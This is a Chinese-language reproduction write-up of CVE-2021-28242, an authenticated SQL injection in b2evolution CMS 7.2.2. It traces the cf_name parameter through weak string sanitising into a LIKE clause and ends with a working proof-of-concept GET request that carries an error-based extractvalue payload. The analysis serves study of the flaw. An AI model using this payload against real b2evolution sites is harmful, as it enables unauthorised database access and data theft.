b2evolution CMS SQL 注入(CVE-2021-28242)
前言
参考披露的报告复现
漏洞类型:SQL 注入——布尔盲注
影响版本:b2evolution v7.2.2-stable
漏洞复现
环境搭建
去 GitHub 上下载漏洞版本源码,然后小皮直接部署
访问 /install/ 目录配置安装,最后会给出一个随机的密码,一定要保存好!!!
1 | Login: admin |

登录后台

在收藏中可以一键生成各类模板

漏洞代码
inc/collections/model/_blog.funcs.php 第 2143 行
这里调用了系统内置的全局请求参数获取函数 param(),并且将其类型指定为了 'string'
1 | $cf_name = param( 'cf_name', 'string', NULL, true ); |
我们追溯 param() 函数的实现逻辑,该函数定义在 inc/_core/_param.funcs.php
当调用 param() 并且指定 $type 时,它会调用 param_format() 来对数据进行类型格式化与清洗
inc/_core/_param.funcs.php 第 73-78 行
1 | case 'string': |
当指定类型为 string 时, param_format() 函数仅仅做了三件事:
preg_replace:去除了换行符(\r和\n)utf8_strip_tags:去除了 HTML 标签(防 XSS)utf8_trim:去除了首尾空格
带着单引号的 $cf_name 变量接下来进入了 SQL 查询构建的逻辑
inc/collections/model/_blog.funcs.php 第 2284-2287 行
可以看到, $cf_name 变量被 直接拼接 到了 LIKE 语句的字符串字面量中
1 | if( ! empty( $cf_name ) ) |
利用链
于此漏洞位于后台面板(evoadm.php),属于需认证的 SQL 注入
因此,攻击链的第一步必须是获得系统后台的访问权限
POC
1 | GET /evoadm.php?ctrl=collections&cf_name=%25%27%20AND%20extractvalue%281%2Cconcat%280x7e%2C%28SELECT%20user%28%29%29%29%29%20AND%20%27%25%27%3D%27 |
